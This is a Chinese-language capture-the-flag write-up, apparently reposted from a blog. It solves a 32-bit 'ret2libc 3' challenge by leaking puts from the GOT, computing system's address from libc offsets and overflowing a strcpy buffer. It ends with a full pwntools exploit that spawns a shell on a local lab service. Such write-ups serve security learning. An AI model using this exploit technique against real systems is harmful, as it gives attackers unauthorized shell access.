ret2libc 3
作者:互联网
ret2libc 3
漏洞点
src
开辟了256
字节空间,dest
开辟了56
个地址
strcpy
将src
中的字符串拷贝到dest
中
src
可控
反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v4; // [esp+4h] [ebp-11Ch]
int v5; // [esp+8h] [ebp-118h]
char src[256]; // [esp+12h] [ebp-10Eh] BYREF
char buf[10]; // [esp+112h] [ebp-Eh] BYREF
int v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, buf, 0xAu);
v8 = strtol(buf, v4, v5);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, src, 0x100u);
Print_message(src);
puts("Thanks you ~");
return 0;
}
local val:
plt是代码的填写者,got是代码的保存者
程序并没有system
的plt
表
程序也并没有system
的got
表
但是因为puts
函数已经被调用过了一次,所以可以直接通过GOT
表查到puts@got
的地址
这里可以使用下面的方式算出system
的地址
已有libc
文件,可以算出在libc
中的puts
和system
中间的距离,已知puts
的虚拟内存地址,system
的地址可通过加上静态分析的道德中间距离算出
示例图:
分析后可以发现画反了
sysem
应该在低地址,puts
应该在高地址
综上,正确的图应该是
可以计算出puts
的地址应该在0xf7da4950
随便输入数据,然后一直步过
直到执行了strcpy
此时已经发生了栈溢出了
计算栈溢出长度
exp
from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1',10000)
elf = ELF('./ret2libc3')
libc = ELF('./libc-2.23.so')
p.sendlineafter(b" :",str(elf.got['puts']))
p.recvuntil(b" :")
puts_dny_addr = int(p.recvuntil(b"\n",drop = True),16)
libc_juli = libc.symbols['puts'] - libc.symbols['system']
sys_dny_addr = puts_dny_addr - libc_juli
payload = b'A'*60 + p32(sys_dny_addr) + p32(0xdeadbeef) + p32(next(elf.search(b"sh\x00")))
p.sendlineafter(b" :",payload)
p.interactive()
标签:src,puts,libc,system,地址,ebp,ret2libc 来源: https://www.cnblogs.com/murkuo/p/15968579.html